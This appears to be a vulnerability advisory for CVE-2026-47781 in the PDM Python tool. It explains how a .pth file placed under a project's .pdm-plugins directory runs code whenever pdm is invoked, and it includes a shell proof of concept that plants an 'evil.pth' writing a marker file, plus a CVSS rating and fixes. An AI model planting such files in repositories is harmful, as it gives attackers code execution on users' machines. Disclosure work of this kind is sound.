CVE-2026-47781

PDM automatically loads project-local plugin paths from .pdm-plugins during Core initialization. Because this path is added via site.addsitedir(), attacker-controlled .pth files inside the project plugin directory are processed and can execute Python code before normal CLI handling begins.

This allows arbitrary code execution with the privileges of the user running pdm from an untrusted repository checkout.

Affected Behavior

• Trigger does not require pdm install --plugins
• A low-impact command such as pdm --version is sufficient
• Impact is strongest in CI, privileged shells, and automation contexts

Affected Code

• src/pdm/core.py:74-82
• src/pdm/core.py:310-333
• src/pdm/core.py:335-352

Technical Details

Core.__init__() calls load_plugins() before ordinary command execution. load_plugins() calls _add_project_plugins_library(), which derives the project-local .pdm-plugins library path and adds it through site.addsitedir().

On CPython, site.addsitedir() processes .pth files found in the added directory. .pth lines beginning with import are executed immediately. This creates a trust-boundary break: project-controlled files execute before the user explicitly opts into plugin installation or plugin loading.

Reproduction

PoC:

# Replace this with a Python interpreter that can run `python -m pdm`.
PDM_PY=/path/to/python-with-pdm
tmpdir=$(mktemp -d)

cat > "$tmpdir/pyproject.toml" <<'EOF'
[project]
name = "plugin-autoload-demo"
version = "0.0.1"
EOF

purelib=$(TMPDIR_ROOT="$tmpdir/.pdm-plugins" "$PDM_PY" - <<'PY'
import os
import sys
import sysconfig

base = os.environ["TMPDIR_ROOT"]
scheme_names = sysconfig.get_scheme_names()
if (sys.platform == "darwin" and "osx_framework_library" in scheme_names) or sys.platform == "linux":
    scheme = "posix_prefix"
elif sys.version_info < (3, 10):
    scheme = "nt" if os.name == "nt" else "posix_prefix"
else:
    scheme = sysconfig.get_default_scheme()
replace_vars = {"base": base, "platbase": base}
print(sysconfig.get_path("purelib", scheme, replace_vars))
PY
)

mkdir -p "$purelib"
marker="$tmpdir/plugin-autoload-marker.txt"
printf '%s\n' "import pathlib; pathlib.Path(r'$marker').write_text('project plugin autoload executed', encoding='utf-8')" > "$purelib/evil.pth"

(
  cd "$tmpdir" &&
  "$PDM_PY" -m pdm --version
)

cat "$marker"

Expected result:

• A temporary project is created
• An evil.pth file is placed under .pdm-plugins
• Running pdm --version creates a marker file before CLI exit

Observed output from local validation:

PDM, version 2.26.9

--- marker ---
project plugin autoload executed

Severity

High

CVSS v4.0

• Base score: 8.4 (High)
• Vector: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Rationale:

• AV:L: exploitation occurs through local execution of pdm against attacker-controlled repository content
• AC:L: no special bypass or race is required
• AT:N: no external precondition beyond the vulnerable workflow is required
• PR:N: the attacker does not need privileges on the victim host
• UI:A: the victim must actively run a pdm command in the malicious checkout
• VC:H/VI:H/VA:H: successful exploitation yields arbitrary code execution as the invoking user
• SC:N/SI:N/SA:N: the score is kept to same-system impact only

Root Cause

Project-local plugin paths are implicitly trusted and loaded too early, and .pth processing is inherited from site.addsitedir().

Recommended Remediation

• Do not auto-load project-local .pdm-plugins by default
• Avoid site.addsitedir() for project-controlled plugin paths
• If project plugins must be supported, require explicit opt-in such as --enable-project-plugins
• Explicitly prevent .pth execution when loading project plugin paths

Disclosure Notes

This issue is a strong standalone CVE candidate because it yields direct code execution from repository-controlled files without requiring the victim to run a project script explicitly.